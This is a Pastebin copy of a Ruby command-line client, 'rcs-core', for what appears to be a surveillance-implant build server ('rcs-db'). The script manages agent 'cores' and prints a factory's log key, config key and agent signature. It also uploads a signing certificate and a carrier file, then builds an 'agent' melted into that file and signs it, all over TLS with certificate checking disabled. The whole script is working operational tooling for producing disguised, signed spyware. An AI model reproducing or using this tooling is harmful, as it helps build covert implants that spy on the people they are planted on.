Advertisement
incedev

rcs-core

May 8th, 2016
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 11.92 KB | None | 0 0
  1. #!/usr/bin/env ruby
  2.  
  3. require 'net/http'
  4. require 'json'
  5. require 'open-uri'
  6. require 'pp'
  7. require 'cgi'
  8. require 'optparse'
  9. require 'zip'
  10. require 'zip/filesystem'
  11. require 'securerandom'
  12.  
  13. class CoreDeveloper
  14.  
  15.   attr_accessor :name
  16.   attr_accessor :factory
  17.   attr_accessor :output
  18.   attr_accessor :input
  19.   attr_accessor :cert
  20.  
  21.   def login(host, port, user, pass)
  22.     @host = host || '127.0.0.1'
  23.     @port = port || 443
  24.     @http = Net::HTTP.new(@host, @port)
  25.     @http.use_ssl = true
  26.     @http.verify_mode = OpenSSL::SSL::VERIFY_NONE
  27.     @http.read_timeout = 500
  28.  
  29.     puts "Performing login to #{@host}:#{@port}"
  30.  
  31.     account = { user: user, pass: pass }
  32.     resp = @http.request_post('/auth/login', account.to_json, nil)
  33.     resp.kind_of? Net::HTTPSuccess or raise(resp.body)
  34.     @cookie = resp['Set-Cookie'] unless resp['Set-Cookie'].nil?
  35.  
  36.     re = '.*?(session=)([A-Z0-9]{8}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{12})'
  37.     m = Regexp.new(re, Regexp::IGNORECASE).match(@cookie)
  38.     @session = m[2] unless m.nil?
  39.  
  40.     puts
  41.   end
  42.  
  43.   def logout
  44.     begin
  45.       @http.request_post('/auth/logout', nil, {'Cookie' => @cookie})
  46.     rescue
  47.       # do nothing
  48.     end
  49.     puts
  50.     puts "Done."
  51.   end
  52.  
  53.   def list
  54.     puts "List of cores:"
  55.     puts "#{"name".ljust(15)} #{"version".ljust(10)} #{"size".rjust(15)}"
  56.     resp = @http.request_get('/core', {'Cookie' => @cookie})
  57.     resp.kind_of? Net::HTTPSuccess or raise(resp.body)
  58.     list = JSON.parse(resp.body)
  59.     list.each do |core|
  60.       puts "- #{core['name'].ljust(15)} #{core['version'].to_s.ljust(10)} #{core['_grid_size'].to_s.rjust(15)} bytes"
  61.     end
  62.   end
  63.  
  64.   def get(output)
  65.     raise "Must specify a core name" if @name.nil?
  66.     puts "Retrieving [#{@name}] core..."
  67.     resp = @http.request_get("/core/#{@name}", {'Cookie' => @cookie})
  68.     resp.kind_of? Net::HTTPSuccess or raise(resp.body)
  69.  
  70.     File.open(output, 'wb') {|f| f.write(resp.body)}
  71.     puts "  --> #{output} saved (#{resp.body.bytesize} bytes)"
  72.   end
  73.  
  74.   def content
  75.     raise "Must specify a core name" if @name.nil?
  76.     resp = @http.request_get("/core/#{@name}?content=true", {'Cookie' => @cookie})
  77.     resp.kind_of? Net::HTTPSuccess or raise(resp.body)
  78.  
  79.     puts "Content of core #{@name}"
  80.     list = JSON.parse(resp.body)
  81.     list.each do |file|
  82.       puts "-> #{file['name'].ljust(35)} #{file['size'].to_s.rjust(15)} bytes  #{file['date'].ljust(15)}"
  83.     end
  84.   end
  85.  
  86.   def replace(file)
  87.     raise "Must specify a core name" if @name.nil?
  88.     content = File.open(file, 'rb') {|f| f.read}
  89.     puts "Replacing [#{@name}] core with new file (#{content.bytesize} bytes)..."
  90.  
  91.     resp = @http.request_post("/core/#{@name}", content, {'Cookie' => @cookie})
  92.     resp.kind_of? Net::HTTPSuccess or raise(resp.body)
  93.  
  94.     puts "Replaced."
  95.   end
  96.  
  97.   def add(file, filename)
  98.     raise "Must specify a core name" if @name.nil?
  99.     filename = file if filename.nil?
  100.     content = File.open(file, 'rb') {|f| f.read}
  101.     puts "Adding [#{file}] to the [#{@name}] core (#{content.bytesize} bytes)"
  102.  
  103.     resp = @http.request_put("/core/#{@name}?name=#{filename}", content, {'Cookie' => @cookie})
  104.     resp.kind_of? Net::HTTPSuccess or raise(resp.body)
  105.   end
  106.  
  107.   def remove(file)
  108.     raise "Must specify a core name" if @name.nil?
  109.     puts "Removing [#{file}] from the [#{@name}] core"
  110.  
  111.     resp = @http.delete("/core/#{@name}?name=#{file}", {'Cookie' => @cookie})
  112.     resp.kind_of? Net::HTTPSuccess or raise(resp.body)
  113.   end
  114.  
  115.   def delete
  116.     raise "Must specify a core name" if @name.nil?
  117.     puts "Deleting [#{@name}] core"
  118.     resp = @http.delete("/core/#{@name}", {'Cookie' => @cookie})
  119.     resp.kind_of? Net::HTTPSuccess or raise(resp.body)
  120.   end
  121.  
  122.   def retrieve_factory(ident, show, jsonfile)
  123.     raise("you must specify a factory") if ident.nil?
  124.  
  125.     resp = @http.request_get('/factory', {'Cookie' => @cookie})
  126.     resp.kind_of? Net::HTTPSuccess or raise(resp.body)
  127.     factories = JSON.parse(resp.body)
  128.  
  129.     factories.keep_if {|f| f['ident'] == ident}
  130.  
  131.     raise('factory not found') if factories.empty?
  132.    
  133.     @factory = factories.first
  134.  
  135.     puts "Using factory: #{@factory['ident']} #{@factory['name']}"
  136.  
  137.     if show
  138.       resp = @http.request_get("/factory/#{@factory['_id']}", {'Cookie' => @cookie})
  139.       resp.kind_of? Net::HTTPSuccess or raise(resp.body)
  140.       factory = JSON.parse(resp.body)
  141.  
  142.       logkey = Digest::MD5.digest(factory['logkey']) + SecureRandom.random_bytes(16)
  143.       confkey = Digest::MD5.digest(factory['confkey']) + SecureRandom.random_bytes(16)
  144.  
  145.       puts "\t-> LOGKEY   : " + logkey.unpack('H*').first
  146.       puts "\t-> CONFKEY  : " + confkey.unpack('H*').first
  147.  
  148.       resp = @http.request_get("/signature/agent", {'Cookie' => @cookie})
  149.       resp.kind_of? Net::HTTPSuccess or raise(resp.body)
  150.       signature = JSON.parse(resp.body)
  151.  
  152.       sig = Digest::MD5.digest(signature['value']) + SecureRandom.random_bytes(16)
  153.  
  154.       puts "\t-> SIGNATURE: " + sig.unpack('H*').first
  155.       puts
  156.  
  157.       puts "CONFIG JSON:"
  158.       configJson=JSON.parse(factory['configs'].first['config'])
  159.       #puts JSON.pretty_generate(configJson)
  160.       puts configJson
  161.     end
  162.  
  163.     if jsonfile
  164.       puts "Saving config to: " + jsonfile
  165.       resp = @http.request_get("/factory/#{@factory['_id']}", {'Cookie' => @cookie})
  166.       resp.kind_of? Net::HTTPSuccess or raise(resp.body)
  167.       factory = JSON.parse(resp.body)
  168.       configJson=JSON.parse(factory['configs'].first['config'])
  169.  
  170.       File.open(jsonfile, 'w') { |f| f.write(JSON.pretty_generate(configJson)) }
  171.     end
  172.   end
  173.  
  174.   def config(param_file)
  175.     jcontent = File.open(param_file, 'r') {|f| f.read}
  176.  
  177.     resp = @http.request_post("/agent/add_config", {_id: @factory['_id'], config: jcontent}.to_json, {'Cookie' => @cookie})
  178.     resp.kind_of? Net::HTTPSuccess or raise(resp.body)
  179.  
  180.     puts "Configuration saved"
  181.   end
  182.  
  183.   def upload(param_file)
  184.     content = File.open(param_file, 'rb') {|f| f.read}
  185.  
  186.     puts "Uploading file [#{param_file}]..."
  187.  
  188.     #RestClient.post('https://#{@host}}:#{@port}/upload', {:Filename => 'upfile', :content => File.new(param_file, 'rb')}, {:cookies => {:session => @session}})
  189.  
  190.     resp = @http.request_post("/upload", content, {'Cookie' => @cookie})
  191.     resp.kind_of? Net::HTTPSuccess or raise(resp.body)
  192.  
  193.     return resp.body
  194.   end
  195.  
  196.   def build(param_file)
  197.     jcontent = File.open(param_file, 'r') {|f| f.read}
  198.     params = JSON.parse(jcontent)
  199.  
  200.     raise("factory not found") if factory.nil?
  201.     raise("you must specify an output file") if output.nil?
  202.  
  203.     params[:factory] = {_id: @factory['_id']}
  204.  
  205.     # set the input file for the melting process
  206.     params['melt'] ||= {}
  207.     params['melt'][:input] = @input unless @input.nil?
  208.  
  209.     # set the cert file for the signing process
  210.     params['sign'] ||= {}
  211.     params['sign'][:cert] = @cert unless @cert.nil?
  212.    
  213.     puts "Building the agent with the following parameters:"
  214.     puts params.inspect
  215.  
  216.     resp = @http.request_post("/build", params.to_json, {'Cookie' => @cookie})
  217.     resp.kind_of? Net::HTTPSuccess or raise(resp.body)
  218.  
  219.     File.open(@output, 'wb') {|f| f.write resp.body}
  220.  
  221.     puts
  222.     puts "#{resp.body.bytesize} bytes saved to #{@output}"
  223.     puts
  224.  
  225.     #Zip::File.open(@output) do |z|
  226.     #  z.each do |f|
  227.     #    puts "#{f.name.ljust(40)} #{f.size.to_s.rjust(10)} #{f.time}"
  228.     #  end
  229.     #end
  230.  
  231.   end
  232.  
  233.  
  234.   def self.run(options)
  235.  
  236.     begin
  237.       c = CoreDeveloper.new
  238.       c.name = options[:name]
  239.  
  240.       c.login(options[:db_address], options[:db_port], options[:user], options[:pass])
  241.  
  242.       c.delete if options[:delete]
  243.       c.replace(options[:replace]) if options[:replace]
  244.       c.add(options[:add],options[:addwithname]) if options[:add]
  245.       c.remove(options[:remove]) if options[:remove]
  246.       c.content if options[:content]
  247.       c.get(options[:get]) if options[:get]
  248.  
  249.       # list at the end to reflect changes made by the above operations
  250.       c.list if options[:list]
  251.  
  252.       # building options
  253.       c.retrieve_factory(options[:factory], options[:show_conf], options[:json_conf]) if options[:factory]
  254.       c.output = options[:output]
  255.       c.config(options[:config]) if options[:config]
  256.       c.cert = c.upload(options[:cert]) if options[:cert]
  257.       c.input = c.upload(options[:input]) if options[:input]
  258.       c.build(options[:build]) if options[:build]
  259.  
  260.     rescue Exception => e
  261.       puts "FATAL: #{e.message}"
  262.       puts "EXCEPTION: [#{e.class}] " << e.backtrace.join("\n")
  263.       return 1
  264.     ensure
  265.       # clean the session
  266.       c.logout
  267.     end
  268.    
  269.     return 0
  270.   end
  271.  
  272. end
  273.  
  274. # This hash will hold all of the options parsed from the command-line by OptionParser.
  275. options = {}
  276.  
  277. optparse = OptionParser.new do |opts|
  278.   # Set a banner, displayed at the top of the help screen.
  279.   opts.banner = "Usage: rcs-core [options]"
  280.  
  281.   opts.separator ""
  282.   opts.separator "Core listing:"
  283.   opts.on( '-l', '--list', 'get the list of cores' ) do
  284.     options[:list] = true
  285.   end
  286.  
  287.   opts.separator ""
  288.   opts.separator "Core selection:"
  289.   opts.on( '-n', '--name NAME', 'identify the core by it\'s name' ) do |name|
  290.     options[:name] = name
  291.   end
  292.  
  293.   opts.separator ""
  294.   opts.separator "Core operations:"
  295.   opts.on( '-g', '--get FILE', 'get the core from the db and store it in FILE' ) do |file|
  296.     options[:get] = file
  297.   end
  298.   opts.on( '-R', '--replace CORE', 'replace the core in the db (CORE must be a zip file)' ) do |file|
  299.     options[:replace] = file
  300.   end
  301.   opts.on( '-a', '--add FILE', 'add or replace FILE to the core on the db' ) do |file|
  302.     options[:add] = file
  303.   end
  304.   opts.on( '-A', '--addwithname FILE', 'specify the core\'s name on the db' ) do |file|
  305.     options[:addwithname] = file
  306.   end
  307.   opts.on( '-r', '--remove FILE', 'remove FILE from the core on the db' ) do |file|
  308.     options[:remove] = file
  309.   end
  310.   opts.on( '-s', '--show', 'show the content of a core' ) do
  311.     options[:content] = true
  312.   end
  313.   opts.on( '-D', '--delete', 'delete the core from the db' ) do
  314.     options[:delete] = true
  315.   end
  316.  
  317.   opts.separator ""
  318.   opts.separator "Core building:"
  319.   opts.on( '-f', '--factory IDENT', String, 'factory to be used' ) do |ident|
  320.     factory="RCS_0000000000"
  321.     options[:factory] = factory[0..-ident.size-1] + ident
  322.   end
  323.   opts.on( '-S', '--show-conf', 'show the config of the factory' ) do
  324.     options[:show_conf] = true
  325.   end
  326.    opts.on( '-j', '--json JSON_FILE', String, 'save the config json in a file' ) do |file|
  327.     options[:json_conf] = file
  328.   end
  329.   opts.on( '-b', '--build PARAMS_FILE', String, 'build the factory. PARAMS_FILE is a json file with the parameters' ) do |params|
  330.     options[:build] = params
  331.   end
  332.   opts.on( '-c', '--config CONFIG_FILE', String, 'save the config to the specified factory' ) do |config|
  333.     options[:config] = config
  334.   end
  335.   opts.on( '-C', '--cert FILE', String, 'certificate for the signing phase' ) do |file|
  336.     options[:cert] = file
  337.   end  
  338.   opts.on( '-i', '--input FILE', String, 'the input file for the melting phase of the build' ) do |file|
  339.     options[:input] = file
  340.   end
  341.   opts.on( '-o', '--output FILE', String, 'the output of the build' ) do |file|
  342.     options[:output] = file
  343.   end
  344.  
  345.   opts.separator ""
  346.   opts.separator "Account:"
  347.   opts.on( '-u', '--user USERNAME', String, 'rcs-db username (SYS priv required)' ) do |user|
  348.     options[:user] = user
  349.   end
  350.   opts.on( '-p', '--password PASSWORD', String, 'rcs-db password' ) do |password|
  351.     options[:pass] = password
  352.   end
  353.   opts.on( '-d', '--db-address HOSTNAME', String, 'Use the rcs-db at HOSTNAME' ) do |host|
  354.     options[:db_address] = host
  355.   end
  356.   opts.on( '-P', '--db-port PORT', Integer, 'Connect to tcp/PORT on rcs-db' ) do |port|
  357.     options[:db_port] = port
  358.   end
  359.  
  360.   opts.separator ""
  361.   opts.separator "General:"
  362.   opts.on( '-h', '--help', 'Display this screen' ) do
  363.     puts opts
  364.     exit!
  365.   end
  366. end
  367.  
  368. optparse.parse(ARGV)
  369. pp options
  370.  
  371. # execute the configurator
  372. r = CoreDeveloper.run(options)
  373. puts "return #{r}"
  374. exit r
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement